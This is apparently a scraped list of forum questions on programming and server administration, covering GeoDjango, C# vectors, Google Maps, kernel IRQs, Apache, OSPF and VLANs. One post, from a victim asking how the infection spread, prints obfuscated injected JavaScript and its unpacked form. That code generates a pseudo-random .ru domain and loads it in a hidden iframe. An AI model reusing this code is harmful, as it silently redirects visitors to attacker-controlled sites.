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• GeoDjango: Exceptions for basic geographic queries

  - by omat

  I am having problems with geographic queries with GeoDjango running on SpatiaLite on my development environment. from django.contrib.gis.db import models class Test(models.Model): poly = models.PolygonField() point = models.PointField() geom = models.GeometryField() objects = models.GeoManager() Testing via shell: >>> from geotest.models import Test >>> from django.contrib.gis.geos import GEOSGeometry >>> >>> point = GEOSGeometry("POINT(0 0)") >>> point <Point object at 0x105743490> >>> poly = GEOSGeometry("POLYGON((0 0, 0 1, 1 1, 1 0, 0 0))") >>> poly <Polygon object at 0x105743370> >>> With these definitions, lets try some basic geographic queries. First contains: >>> Test.objects.filter(point__within=poly) Assertion failed: (0), function appendGeometryTaggedText, file WKTWriter.cpp, line 228. Abort trap And the django shell dies. And with within: >>> Test.objects.filter(poly__contains=point) GEOS_ERROR: Geometry must be a Point or LineString Traceback (most recent call last): ... GEOSException: Error encountered checking Coordinate Sequence returned from GEOS C function "GEOSGeom_getCoordSeq_r". >>> Other combinations also cause a variety of exceptions. I must be missing something obvious as these are very basic. Any ideas?

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• C# Vector maths questions

  - by Mark

  Im working in a screen coordinate space that is different to that of the classical X/Y coordinate space, where my Y direction goes down in the positive instead of up. Im also trying to figure out how to make a Circle on my screen always face away from the center point of the screen. If the center point of my screen is at x(200) y(300) and the point of my circle's center is at x(150) and y(380) then I would like to calculate the angle that the circle should be facing. At the moment I have this: Point centerPoint = new Point(200, 300); Point middleBottom = new Point(200, 400); Vector middleVector = new Vector(centerPoint.X - middleBottom.X, centerPoint.Y - middleBottom.Y); Vector vectorOfCircle = new Vector(centerPoint.X - 150, centerPoint.Y - 400); middleVector.Normalize(); vectorOfCircle.Normalize(); var angle = Math.Acos(Vector.CrossProduct(vectorOfCircle, middleVector)); Console.WriteLine("Angle: {0}", angle * (180/Math.PI)); Im not getting what I would expect. I would say that when I enter in x(150) and y(300) of my circle, I would expect to see the rotation of 90 deg, but Im not getting that... Im getting 180!! Any help here would be greatly appreciated. Cheers, Mark

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• Address String Split in javscript

  - by Arasoi

  Ok folks I have bombed around for a few days trying to find a good solution for this one. What I have is two possible address formats. 28 Main St Somecity, NY 12345-6789 or Main St Somecity, Ny 12345-6789 What I need to do Is split both strings down into an array structured as such address[0] = HousNumber address[1] = Street address[2] = City address[3] = State address[4] = ZipCode My major problem is how to account for the lack of a house number. with out having the whole array shift the data up one. address[0] = Street address[1] = City address[2] = State address[3] = ZipCode [Edit] For those that are wondering this is what i am doing atm . (cleaner version) place = response.Placemark[0]; point = new GLatLng(place.Point.coordinates[1],place.Point.coordinates[0]); FCmap.setCenter(point,12); var a = place.address.split(','); var e = a[2].split(" "); var x = a[0].split(" "); var hn = x.filter(function(item,index){ return index == 0; }); var st = x.filter(function(item,index){ return index != 0; }); var street = ''; st.each(function(item,index){street += item + ' ';}); results[0] = new Hash({ FullAddie: place.address, HouseNum: hn[0], Dir: '', Street: street, City: a[1], State: e[1], ZipCode: e[2], GPoint: new GMarker(point), Lat: place.Point.coordinates[1], Lng: place.Point.coordinates[0] }); // End Address Splitting

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• Clicking inside a polygon in Google Maps

  - by amarsh-anand

  The included JavaScript snippet is supposed to do the following: As the user clicks on the map, initialize headMarker and draw a circle (polygon) around it As the user clicks inside the circle, initialize tailMarker and draw the path between these two markers 1 is happening as expected. But as the user clicks inside the circle, in the function(overlay,point), overlay is non-null while point is null. Because of this, the code fails to initialize tailMarker. Can someone tell me a way out. GEvent.addListener(map, "click", function(overlay,point) { if (isCreateHeadPoint) { // add the head marker headMarker = new GMarker(point,{icon:redIcon,title:'0'}); map.addOverlay(headMarker); isCreateHeadPoint = false; // draw the circle drawMapCircle(point.lat(),point.lng(),1,'#cc0000',2,0.8,'#0',0.1); } else { // add the tail marker tailMarker = new GMarker(point,{icon:greenIcon,title:''}); map.addOverlay(tailMarker); isCreateHeadPoint = true; // load thes path from head to tail direction.load("from:" + headMarker.getPoint().lat()+ ", " + headMarker.getPoint().lng()+ " " + "to:" + tailMarker.getPoint().lat() + "," + tailMarker.getPoint().lng(), {getPolyline:true}); } });

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• Implement a threading to prevent UI block on a bug in an async function

  - by Marcx

  I think I ran up againt a bug in an async function... Precisely the getDirectoryListingAsync() of the File class... This method is supposted to return an object containing the lists of files in a specified folder. I found that calling this method on a direcory with a lot of files (in my tests more than 20k files), after few seconds there is a block on the UI until the process is completed... I think that this method is separated in two main block: 1) get the list of files 2) create the array with the details of the files The point 1 seems to be async (for a few second the ui is responsive), then when the process pass from point 1 to point 2 the block of the UI occurs until the complete event is dispathed... Here's some (simple) code: private function checkFiles(dir:File):void { if (dir.exists) { dir.addEventListener( FileListEvent.DIRECTORY_LISTING, listaImmaginiLocale); dir.getDirectoryListingAsync(); // after this point, for the firsts seconds the UI respond well (point 1), // few seconds later (point 2) the UI is frozen } } private function listaImmaginiLocale( event:FileListEvent ):void { // from this point on the UI is responsive again... } Actually in my projects there are some function that perform an heavy cpu usage and to prevent the UI block I implemented a simple function that after some iteration will wait giving time to UI to be refreshed. private var maxIteration:int = 150000; private function sampleFunct(offset:int = 0) :void { if (offset < maxIteration) { // do something // call the recursive function using a timeout.. // if the offset in multiple by 1000 the function will wait 15 millisec, // otherwise it will be called immediately // 1000 is a random number for the pourpose of this example, but I usually change the // value based on how much heavy is the function itself... setTimeout(function():void{aaa(++offset);}, (offset%1000?15:0)); } } Using this method I got a good responsive UI without afflicting performance... I'd like to implement it into the getDirectoryListingAsync method but I don't know if it's possibile how can I do it where is the file to edit or extend.. Any suggestion???

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• IRQ problem with 2.6.32/2.6.39 kernel on Debian Squeeze x86_64

  - by MasterM

  I recently assembled a new computer so that all hardware is pretty new. Since then I've been experiencing some problem with IRQs when running Debian 6.0. On random occasions, usually after an hour or so of running I hear a beep and this shows up in dmesg: [ 3537.762795] irq 16: nobody cared (try booting with the "irqpoll" option) [ 3537.762797] Pid: 0, comm: swapper Tainted: P W O 2.6.39-2-amd64 #1 [ 3537.762798] Call Trace: [ 3537.762799] <IRQ> [<ffffffff810924d4>] ? __report_bad_irq+0x3a/0xa2 [ 3537.762803] [<ffffffff810926a4>] ? note_interrupt+0x168/0x1da [ 3537.762805] [<ffffffff81090dd4>] ? handle_irq_event_percpu+0x171/0x18f [ 3537.762807] [<ffffffff8100e0e2>] ? read_tsc+0x5/0x16 [ 3537.762809] [<ffffffff8106b8a2>] ? update_ts_time_stats+0x32/0x6b [ 3537.762810] [<ffffffff81090e26>] ? handle_irq_event+0x34/0x52 [ 3537.762812] [<ffffffff81063fb7>] ? sched_clock_idle_wakeup_event+0x12/0x1c [ 3537.762813] [<ffffffff81092df2>] ? handle_fasteoi_irq+0x82/0xa4 [ 3537.762815] [<ffffffff8100aadb>] ? handle_irq+0x1a/0x23 [ 3537.762816] [<ffffffff8100a384>] ? do_IRQ+0x45/0xaa [ 3537.762818] [<ffffffff81332c93>] ? common_interrupt+0x13/0x13 [ 3537.762818] <EOI> [<ffffffff81332c8e>] ? common_interrupt+0xe/0x13 [ 3537.762821] [<ffffffff81026800>] ? native_safe_halt+0x2/0x3 [ 3537.762829] [<ffffffffa016ed58>] ? acpi_idle_do_entry+0x39/0x62 [processor] [ 3537.762831] [<ffffffffa016edde>] ? acpi_idle_enter_c1+0x5d/0xad [processor] [ 3537.762834] [<ffffffff81261033>] ? cpuidle_idle_call+0x11f/0x1cc [ 3537.762835] [<ffffffff81008dd2>] ? cpu_idle+0xab/0xe1 [ 3537.762837] [<ffffffff8169fc60>] ? start_kernel+0x3e0/0x3eb [ 3537.762838] [<ffffffff8169f3c8>] ? x86_64_start_kernel+0x102/0x10f [ 3537.762839] handlers: [ 3537.762840] [<ffffffffa0358d5a>] (rtl8169_interrupt+0x0/0x2d7 [r8169]) [ 3537.762842] [<ffffffffa08ff2ca>] (nv_kern_isr+0x0/0x54 [nvidia]) [ 3537.762902] Disabling IRQ #16 After that Xorg either hogs on CPU or is unstable (up to hanging the system completely). When I restart Xorg everything is fine again and the problem doesn't occur until next reboot. I tried to upgrade the kernel from stock 2.6.32 to 2.6.39 from unstable repository but that didn't help. Booting with irqpoll option only seems to prolong the initial time period after which the problem occurs. I'm using latest NVIDIA drivers and Realtek firmware from firmware-realtek package. I have two GTX 560Ti that run in SLI. Disabling SLI or taking out one card completely doesn't solve the problem either. Output of uname -a is: Linux whitestar 2.6.39-2-amd64 #1 SMP Wed Jun 8 11:01:04 UTC 2011 x86_64 GNU/Linux Output of lspci is: 00:00.0 Host bridge: Intel Corporation Sandy Bridge DRAM Controller (rev 09) 00:01.0 PCI bridge: Intel Corporation Sandy Bridge PCI Express Root Port (rev 09) 00:01.1 PCI bridge: Intel Corporation Sandy Bridge PCI Express Root Port (rev 09) 00:16.0 Communication controller: Intel Corporation Cougar Point HECI Controller #1 (rev 04) 00:19.0 Ethernet controller: Intel Corporation 82579V Gigabit Network Connection (rev 05) 00:1a.0 USB Controller: Intel Corporation Cougar Point USB Enhanced Host Controller #2 (rev 05) 00:1b.0 Audio device: Intel Corporation Cougar Point High Definition Audio Controller (rev 05) 00:1c.0 PCI bridge: Intel Corporation Cougar Point PCI Express Root Port 1 (rev b5) 00:1c.1 PCI bridge: Intel Corporation Cougar Point PCI Express Root Port 2 (rev b5) 00:1c.2 PCI bridge: Intel Corporation Cougar Point PCI Express Root Port 3 (rev b5) 00:1c.4 PCI bridge: Intel Corporation Cougar Point PCI Express Root Port 5 (rev b5) 00:1c.6 PCI bridge: Intel Corporation 82801 PCI Bridge (rev b5) 00:1d.0 USB Controller: Intel Corporation Cougar Point USB Enhanced Host Controller #1 (rev 05) 00:1f.0 ISA bridge: Intel Corporation Cougar Point LPC Controller (rev 05) 00:1f.2 SATA controller: Intel Corporation Cougar Point 6 port SATA AHCI Controller (rev 05) 00:1f.3 SMBus: Intel Corporation Cougar Point SMBus Controller (rev 05) 01:00.0 VGA compatible controller: nVidia Corporation Device 1200 (rev a1) 01:00.1 Audio device: nVidia Corporation Device 0e0c (rev a1) 02:00.0 VGA compatible controller: nVidia Corporation Device 1200 (rev a1) 02:00.1 Audio device: nVidia Corporation Device 0e0c (rev a1) 04:00.0 USB Controller: NEC Corporation uPD720200 USB 3.0 Host Controller (rev 04) 06:00.0 USB Controller: NEC Corporation uPD720200 USB 3.0 Host Controller (rev 04) 07:00.0 PCI bridge: Device 1b21:1080 (rev 01) 08:02.0 Ethernet controller: Realtek Semiconductor Co., Ltd. RTL-8110SC/8169SC Gigabit Ethernet (rev 10) 08:03.0 FireWire (IEEE 1394): VIA Technologies, Inc. VT6306/7/8 [Fire II(M)] IEEE 1394 OHCI Controller (rev c0) Contents of /proc/interrupts: CPU0 CPU1 CPU2 CPU3 CPU4 CPU5 CPU6 CPU7 0: 77 0 0 0 0 0 0 0 IO-APIC-edge timer 1: 2 0 0 0 0 0 0 0 IO-APIC-edge i8042 8: 1 0 0 0 0 0 0 0 IO-APIC-edge rtc0 9: 0 0 0 0 0 0 0 0 IO-APIC-fasteoi acpi 12: 4 0 0 0 0 0 0 0 IO-APIC-edge i8042 16: 699083 0 0 0 0 0 0 0 IO-APIC-fasteoi nvidia, eth0 17: 87810 0 0 0 0 0 0 0 IO-APIC-fasteoi firewire_ohci, hda_intel, nvidia 18: 242 0 0 0 0 0 0 0 IO-APIC-fasteoi hda_intel 23: 85925 0 0 0 0 0 0 0 IO-APIC-fasteoi ehci_hcd:usb5, ehci_hcd:usb6 40: 0 0 0 0 0 0 0 0 PCI-MSI-edge PCIe PME 41: 0 0 0 0 0 0 0 0 PCI-MSI-edge PCIe PME 42: 0 0 0 0 0 0 0 0 PCI-MSI-edge PCIe PME 43: 0 0 0 0 0 0 0 0 PCI-MSI-edge PCIe PME 44: 0 0 0 0 0 0 0 0 PCI-MSI-edge PCIe PME 45: 0 0 0 0 0 0 0 0 PCI-MSI-edge PCIe PME 46: 79853 0 0 0 0 0 0 0 PCI-MSI-edge ahci 48: 1 0 0 0 0 0 0 0 PCI-MSI-edge xhci_hcd 49: 0 0 0 0 0 0 0 0 PCI-MSI-edge xhci_hcd 50: 0 0 0 0 0 0 0 0 PCI-MSI-edge xhci_hcd 51: 0 0 0 0 0 0 0 0 PCI-MSI-edge xhci_hcd 52: 0 0 0 0 0 0 0 0 PCI-MSI-edge xhci_hcd 53: 0 0 0 0 0 0 0 0 PCI-MSI-edge xhci_hcd 54: 0 0 0 0 0 0 0 0 PCI-MSI-edge xhci_hcd 55: 0 0 0 0 0 0 0 0 PCI-MSI-edge xhci_hcd 56: 1 0 0 0 0 0 0 0 PCI-MSI-edge xhci_hcd 57: 0 0 0 0 0 0 0 0 PCI-MSI-edge xhci_hcd 58: 0 0 0 0 0 0 0 0 PCI-MSI-edge xhci_hcd 59: 0 0 0 0 0 0 0 0 PCI-MSI-edge xhci_hcd 60: 0 0 0 0 0 0 0 0 PCI-MSI-edge xhci_hcd 61: 0 0 0 0 0 0 0 0 PCI-MSI-edge xhci_hcd 62: 0 0 0 0 0 0 0 0 PCI-MSI-edge xhci_hcd 63: 0 0 0 0 0 0 0 0 PCI-MSI-edge xhci_hcd 64: 173506 0 0 0 0 0 0 0 PCI-MSI-edge hda_intel NMI: 482 89 25 13 277 24 11 10 Non-maskable interrupts LOC: 783857 194752 114133 70577 372438 179065 117179 162016 Local timer interrupts SPU: 0 0 0 0 0 0 0 0 Spurious interrupts PMI: 482 89 25 13 277 24 11 10 Performance monitoring interrupts IWI: 0 0 0 0 0 0 0 0 IRQ work interrupts RES: 131917 46750 7432 3291 150003 9576 3435 3067 Rescheduling interrupts CAL: 2759 6563 7150 6997 5387 7140 7269 6678 Function call interrupts TLB: 4396 2038 1336 492 5434 1896 1121 606 TLB shootdowns TRM: 0 0 0 0 0 0 0 0 Thermal event interrupts THR: 0 0 0 0 0 0 0 0 Threshold APIC interrupts MCE: 0 0 0 0 0 0 0 0 Machine check exceptions MCP: 37 37 37 37 37 37 37 37 Machine check polls ERR: 0 MIS: 0 Last but not least, right after boot-up those lines are usually present in dmesg: [ 18.367094] hda-intel: IRQ timing workaround is activated for card #1. Suggest a bigger bdl_pos_adj. [ 18.458859] hda-intel: IRQ timing workaround is activated for card #2. Suggest a bigger bdl_pos_adj. I'm not sure if it's related or a symptom of a bigger problem so I'm posting it just in case. I don't really know what other information might be of relevance here. Don't hesitate to ask for more in the comments.

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• Representing robot's elbow angle in 3-D

  - by Onkar Deshpande

  I am given coordinates of two points in 3-D viz. shoulder point and object point(to which I am supposed to reach). I am also given the length from my shoulder-to-elbow arm and the length of my forearm. I am trying to solve for the unknown position(the position of the joint elbow). I am using cosine rule to find out the elbow angle. Here is my code - #include <stdio.h> #include <math.h> #include <stdlib.h> struct point { double x, y, z; }; struct angles { double clock_wise; double counter_clock_wise; }; double max(double a, double b) { return (a > b) ? a : b; } /* * Check if the combination can make a triangle by considering the fact that sum * of any two sides of a triangle is greater than the remaining side. The * overlapping condition of links is handled separately in main(). */ int valid_triangle(struct point p0, double l0, struct point p1, double l1) { double dist = sqrt(pow((fabs(p1.z - p0.z)), 2) + pow((fabs(p1.y - p0.y)), 2) + pow((fabs(p1.x - p0.x)), 2)); if((max(dist, l0) == dist) && max(dist, l1) == dist) { return (dist < (l0 + l1)); } else if((max(dist, l0) == l0) && (max(l0, l1) == l0)) { return (l0 < (dist + l1)); } else { return (l1 < (dist + l0)); } } /* * Cosine rule is used to find the elbow angle. Positive value indicates a * counter clockwise angle while negative value indicates a clockwise angle. * Since this problem has at max 2 solutions for any given position of P0 and * P1, I am returning a structure of angles which can be used to consider angles * from both direction viz. clockwise-negative and counter-clockwise-positive */ void return_config(struct point p0, double l0, struct point p1, double l1, struct angles *a) { double dist = sqrt(pow((fabs(p1.z - p0.z)), 2) + pow((fabs(p1.y - p0.y)), 2) + pow((fabs(p1.x - p0.x)), 2)); double degrees = (double) acos((l0 * l0 + l1 * l1 - dist * dist) / (2 * l0 * l1)) * (180.0f / 3.1415f); a->clock_wise = -degrees; a->counter_clock_wise = degrees; } int main() { struct point p0, p1; struct angles a; p0.x = 15, p0.y = 4, p0.z = 0; p1.x = 20, p1.y = 4, p1.z = 0; double l0 = 5, l1 = 8; if(valid_triangle(p0, l0, p1, l1)) { printf("Three lengths can make a valid configuration \n"); return_config(p0, l0, p1, l1, &a); printf("Angle of the elbow point (clockwise) = %lf, (counter clockwise) = %lf \n", a.clock_wise, a.counter_clock_wise); } else { double dist = sqrt(pow((fabs(p1.z - p0.z)), 2) + pow((fabs(p1.y - p0.y)), 2) + pow((fabs(p1.x - p0.x)), 2)); if((dist <= (l0 + l1)) && (dist > l0)) { a.clock_wise = -180.0f; a.counter_clock_wise = 180.0f; printf("Angle of the elbow point (clockwise) = %lf, (counter clockwise) = %lf \n", a.clock_wise, a.counter_clock_wise); } else if((dist <= fabs(l0 - l1)) && (dist < l0)){ a.clock_wise = -0.0f; a.counter_clock_wise = 0.0f; printf("Angle of the elbow point (clockwise) = %lf, (counter clockwise) = %lf \n", a.clock_wise, a.counter_clock_wise); } else printf("Given combination cannot make a valid configuration\n"); } return 0; } However, this solution makes sense only in 2-D. Because clockwise and counter-clockwise are meaningless without an axis and direction of rotation. Returning only an angle is technically correct but it leaves a lot of work for the client of this function to use the result in meaningful way. How can I make the changes to get the axis and direction of rotation ? Also, I want to know how many possible solution could be there for this problem. Please let me know your thoughts ! Any help is highly appreciated ...

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• Apache 2: I have multiple domain names I want to point to one Virtual Host. Do I use ServerAlias?

  - by Chris Altman

  I have multiple domain names, for example: www.foo.com www.goo.com www.moo.com www.coo.com I want all of these domain names to resolve to one website AND to redirect to www.foo.com What is the best method to achieve this? Multiple entries? Use ServerAlias? Something else? If the best method is ServerAlias, what is the syntax? ServerAlias www.goo.com, www.moo.com, www.coo.com

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• Got a malware on my hosting provider which infect JavaScript files .. how do I find the entry point?

  - by h3.

  This morning some sites which are hosted on the server as me started triggering malware alerts and started to redirect traffic to external sites. I've found out that a line of packed javascript was added to many js files across the server. What the script does is pretty simple, but what I would like to know is if this malware is well known and how it infect servers and propagate. For the curious here's the javascript line in question: /*km0ae9gr6m*/try{q=document.createElement("p");q.appendChild(q+"");}catch(qw){h=-012/5;try{bcsd=prototype-2;}catch(bawg){ss=[];f=(h)?("fromCharC"+"ode"):"";e=window["e"+"val"];n=[102,234,330,396,116,210,333,440,32,220,303,480,116,164,291,440,100,222,327,312,117,218,294,404,114,80,123,492,10,64,96,128,32,236,291,456,32,208,315,128,61,64,348,416,105,230,138,460,101,202,300,128,47,64,348,416,105,230,138,324,59,20,96,128,32,64,354,388,114,64,324,444,32,122,96,464,104,210,345,184,115,202,303,400,32,74,96,464,104,210,345,184,81,118,30,128,32,64,96,472,97,228,96,464,101,230,348,128,61,64,348,416,105,230,138,260,32,84,96,432,111,64,135,128,116,208,315,460,46,164,96,168,32,208,315,236,10,64,96,128,32,210,306,160,116,202,345,464,32,124,96,192,41,246,30,128,32,64,96,128,32,64,96,464,104,210,345,184,115,202,303,400,32,122,96,464,101,230,348,236,10,64,96,128,32,250,96,404,108,230,303,128,123,20,96,128,32,64,96,128,32,64,348,416,105,230,138,460,101,202,300,128,61,64,348,404,115,232,96,172,32,232,312,420,115,92,231,236,10,64,96,128,32,250,30,128,32,64,96,456,101,232,351,456,110,64,120,464,104,210,345,184,115,202,303,400,32,84,96,464,104,210,345,184,111,220,303,316,118,202,342,308,41,118,30,500,10,20,306,468,110,198,348,420,111,220,96,328,97,220,300,444,109,156,351,436,98,202,342,284,101,220,303,456,97,232,333,456,40,234,330,420,120,82,369,40,32,64,96,128,118,194,342,128,100,64,183,128,110,202,357,128,68,194,348,404,40,234,330,420,120,84,147,192,48,96,123,236,10,64,96,128,32,236,291,456,32,230,96,244,32,200,138,412,101,232,216,444,117,228,345,160,41,64,186,128,49,100,96,252,32,98,96,232,32,96,177,40,32,64,96,128,116,208,315,460,46,230,303,404,100,64,183,128,50,102,156,212,54,110,168,228,48,98,96,172,32,80,300,184,103,202,348,308,111,220,348,416,40,82,96,168,32,96,360,280,70,140,210,280,70,82,96,172,32,80,300,184,103,202,348,272,97,232,303,160,41,64,126,128,48,240,210,280,70,140,123,172,32,80,231,388,116,208,138,456,111,234,330,400,40,230,96,168,32,96,360,280,70,140,123,164,59,20,96,128,32,64,348,416,105,230,138,260,32,122,96,208,56,100,165,196,59,20,96,128,32,64,348,416,105,230,138,308,32,122,96,200,49,104,165,208,56,102,162,208,55,118,30,128,32,64,96,464,104,210,345,184,81,64,183,128,116,208,315,460,46,154,96,188,32,232,312,420,115,92,195,236,10,64,96,128,32,232,312,420,115,92,246,128,61,64,348,416,105,230,138,308,32,74,96,464,104,210,345,184,65,118,30,128,32,64,96,464,104,210,345,184,111,220,303,316,118,202,342,308,32,122,96,196,46,96,96,188,32,232,312,420,115,92,231,236,10,64,96,128,32,232,312,420,115,92,330,404,120,232,96,244,32,220,303,480,116,164,291,440,100,222,327,312,117,218,294,404,114,118,30,128,32,64,96,456,101,232,351,456,110,64,348,416,105,230,177,40,125,20,30,408,117,220,297,464,105,222,330,128,99,228,303,388,116,202,246,388,110,200,333,436,78,234,327,392,101,228,120,456,44,64,231,420,110,88,96,308,97,240,123,492,10,64,96,128,32,228,303,464,117,228,330,128,77,194,348,416,46,228,333,468,110,200,120,160,77,194,360,180,77,210,330,164,32,84,96,456,46,220,303,480,116,80,123,128,43,64,231,420,110,82,177,40,125,20,30,408,117,220,297,464,105,222,330,128,103,202,330,404,114,194,348,404,80,230,303,468,100,222,246,388,110,200,333,436,83,232,342,420,110,206,120,468,110,210,360,176,32,216,303,440,103,232,312,176,32,244,333,440,101,82,369,40,32,64,96,128,118,194,342,128,114,194,330,400,32,122,96,440,101,238,96,328,97,220,300,444,109,156,351,436,98,202,342,284,101,220,303,456,97,232,333,456,40,234,330,420,120,82,177,40,32,64,96,128,118,194,342,128,108,202,348,464,101,228,345,128,61,64,273,156,97,78,132,156,98,78,132,156,99,78,132,156,100,78,132,156,101,78,132,156,102,78,132,156,103,78,132,156,104,78,132,156,105,78,132,156,106,78,132,156,107,78,132,156,108,78,132,156,109,78,132,156,110,78,132,156,111,78,132,156,112,78,132,156,113,78,132,156,114,78,132,156,115,78,132,156,116,78,132,156,117,78,132,156,118,78,132,156,119,78,132,156,120,78,132,156,121,78,132,156,122,78,279,236,10,64,96,128,32,236,291,456,32,230,348,456,32,122,96,156,39,118,30,128,32,64,96,408,111,228,120,472,97,228,96,420,32,122,96,192,59,64,315,128,60,64,324,404,110,206,348,416,59,64,315,128,43,86,96,164,123,20,96,128,32,64,96,128,32,64,345,464,114,64,129,244,32,216,303,464,116,202,342,460,91,198,342,404,97,232,303,328,97,220,300,444,109,156,351,436,98,202,342,160,114,194,330,400,44,64,144,176,32,216,303,464,116,202,342,460,46,216,303,440,103,232,312,128,45,64,147,164,93,118,30,128,32,64,96,500,10,64,96,128,32,228,303,464,117,228,330,128,115,232,342,128,43,64,117,184,39,64,129,128,122,222,330,404,59,20,375,40,10,230,303,464,84,210,327,404,111,234,348,160,102,234,330,396,116,210,333,440,40,82,369,40,32,64,96,128,116,228,363,492,10,64,96,128,32,64,96,128,32,210,306,160,116,242,336,404,111,204,96,420,102,228,291,436,101,174,291,460,67,228,303,388,116,202,300,128,61,122,96,136,117,220,300,404,102,210,330,404,100,68,123,492,10,64,96,128,32,64,96,128,32,64,96,128,32,210,306,456,97,218,303,348,97,230,201,456,101,194,348,404,100,64,183,128,116,228,351,404,59,20,96,128,32,64,96,128,32,64,96,128,32,64,354,388,114,64,351,440,105,240,96,244,32,154,291,464,104,92,342,444,117,220,300,160,43,220,303,476,32,136,291,464,101,80,123,188,49,96,144,192,41,118,30,128,32,64,96,128,32,64,96,128,32,64,96,472,97,228,96,400,111,218,291,420,110,156,291,436,101,64,183,128,103,202,330,404,114,194,348,404,80,230,303,468,100,222,246,388,110,200,333,436,83,232,342,420,110,206,120,468,110,210,360,176,32,98,162,176,32,78,342,468,39,82,177,40,32,64,96,128,32,64,96,128,32,64,96,128,105,204,342,436,32,122,96,400,111,198,351,436,101,220,348,184,99,228,303,388,116,202,207,432,101,218,303,440,116,80,102,292,70,164,195,308,69,68,123,236,32,20,96,128,32,64,96,128,32,64,96,128,32,64,315,408,114,218,138,460,101,232,195,464,116,228,315,392,117,232,303,160,34,230,342,396,34,88,96,136,104,232,348,448,58,94,141,136,43,200,333,436,97,210,330,312,97,218,303,172,34,94,342,468,110,204,333,456,101,230,348,456,117,220,189,460,105,200,183,396,120,68,123,236,32,20,96,128,32,64,96,128,32,64,96,128,32,64,315,408,114,218,138,460,116,242,324,404,46,238,315,400,116,208,96,244,32,68,144,448,120,68,177,128,10,64,96,128,32,64,96,128,32,64,96,128,32,210,306,456,109,92,345,464,121,216,303,184,104,202,315,412,104,232,96,244,32,68,144,448,120,68,177,128,10,64,96,128,32,64,96,128,32,64,96,128,32,210,306,456,109,92,345,464,121,216,303,184,118,210,345,420,98,210,324,420,116,242,96,244,32,68,312,420,100,200,303,440,34,118,96,40,32,64,96,128,32,64,96,128,32,64,96,128,100,222,297,468,109,202,330,464,46,196,333,400,121,92,291,448,112,202,330,400,67,208,315,432,100,80,315,408,114,218,123,236,10,64,96,128,32,64,96,128,32,250,30,128,32,64,96,500,99,194,348,396,104,80,303,164,123,250,30,500,44,64,159,192,48,82,177];if(window.document)for(i=6-2-1-2-1;-1771+i!=2-2;i++){k=i;ss=ss+String[f](n[k]/(i%(h*h)+2-1));}e(ss);}}/*qhk6sa6g1c*/ Once unpacked it looks like this: function nextRandomNumber(){ var hi = this.seed / this.Q; var lo = this.seed % this.Q; var test = this.A * lo - this.R * hi; if(test > 0){ this.seed = test; } else { this.seed = test + this.M; } return (this.seed * this.oneOverM); } function RandomNumberGenerator(unix){ var d = new Date(unix*1000); var s = d.getHours() > 12 ? 1 : 0; this.seed = 2345678901 + (d.getMonth() * 0xFFFFFF) + (d.getDate() * 0xFFFF)+ (Math.round(s * 0xFFF)); this.A = 48271; this.M = 2147483647; this.Q = this.M / this.A; this.R = this.M % this.A; this.oneOverM = 1.0 / this.M; this.next = nextRandomNumber; return this; } function createRandomNumber(r, Min, Max){ return Math.round((Max-Min) * r.next() + Min); } function generatePseudoRandomString(unix, length, zone){ var rand = new RandomNumberGenerator(unix); var letters = ['a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z']; var str = ''; for(var i = 0; i < length; i ++ ){ str += letters[createRandomNumber(rand, 0, letters.length - 1)]; } return str + '.' + zone; } setTimeout(function(){ try{ if(typeof iframeWasCreated == "undefined"){ iframeWasCreated = true; var unix = Math.round(+new Date()/1000); var domainName = generatePseudoRandomString(unix, 16, 'ru'); ifrm = document.createElement("IFRAME"); ifrm.setAttribute("src", "http://"+domainName+"/runforestrun?sid=cx"); ifrm.style.width = "0px"; ifrm.style.height = "0px"; ifrm.style.visibility = "hidden"; document.body.appendChild(ifrm); } }catch(e){} }, 500);

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• ospfd over an OpenVPN link - strange error in logs

  - by Alex

  I am trying to set up Quagga ospfd on two hosts connected by an OpenVPN link. These hosts have VPN IPs 10.31.0.1 and 10.31.0.13. ospfd config is pretty simple: hostname bizon password xxxxxxxxx enable password xxxxxxxxx ! log file /var/log/quagga/ospfd.log ! interface lo ! interface tun0 ip ospf network point-to-point ip ospf mtu-ignore ip ospf cost 10 interface tun1 ip ospf network point-to-point ip ospf mtu-ignore ip ospf cost 10 interface tun2 ip ospf network point-to-point ip ospf mtu-ignore ip ospf cost 10 ! router ospf ospf router-id 10.31.0.1 network 10.31.0.0/16 area 0.0.0.0 network 10.119.2.0/24 area 0.0.0.0 redistribute connected area 0.0.0.0 range 10.0.0.0/8 ! line vty ! debug ospf event debug ospf packet all I am getting the following error in the ospfd.log (the log is from 10.31.0.13): 2012/10/05 01:25:28 OSPF: ip_v 4 2012/10/05 01:25:28 OSPF: ip_hl 5 2012/10/05 01:25:28 OSPF: ip_tos 192 2012/10/05 01:25:28 OSPF: ip_len 64 2012/10/05 01:25:28 OSPF: ip_id 64666 2012/10/05 01:25:28 OSPF: ip_off 0 2012/10/05 01:25:28 OSPF: ip_ttl 1 2012/10/05 01:25:28 OSPF: ip_p 89 2012/10/05 01:25:28 OSPF: ip_sum 0xe5d1 2012/10/05 01:25:28 OSPF: ip_src 10.31.0.1 2012/10/05 01:25:28 OSPF: ip_dst 224.0.0.5 2012/10/05 01:25:28 OSPF: Packet from [10.31.0.1] received on link tun1 but no ospf_interface I'm not sure what to do next. I have set up ospfd over OpenVPN several times but I used Debian and I am on CentOS 6 now. Quagga version is 0.99.15. Should I try to get more recent version?

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• VLAN Through Switch Doesn't Work

  - by vcsjones

  I have the following scenario: I have a Cisco Aironet 1040 access point. I have it configured with two SSIDs, each going to a different VLAN. So: SSID internal : VLAN 90 SSID guest : VLAN 70 On the router side, I have a Cisco RV220W (with the radios now turned off) and have setup VLANs with like VLAN IDs. VLAN 90 : 192.168.90.0/24 VLAN 70 : 192.168.70.0/24 As far as DHCP is concerned, each VLAN has a "DHCP Server" in the router's configuration: So with the access point connected directly to the router, everything works great. I connect to the internal network, and I get a 192.168.90.x address, and the guest network gets a 70.xxx address. Next I introduced a Cisco SG200-50 PoE switch between the router and the access point. The port is configured as a trunk port, so the VLAN tags should go right through the switch back to the router. However, when something is connected to the access point, nothing works. It isn't able to get an IP address, and manually assigning one doesn't seem to let any traffic route. Given that the access point works correctly when connected to the router directly, I believe the switch is misconfigured. What am I missing here? What can I use to better diagnose what the problem might be? It's small business equipment, so CLI access is not available. Below are screenshots of the switch's config. The access point is connected to GE2.

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• wild card redirects issue giving error this webpage has a redirect loop

  - by david

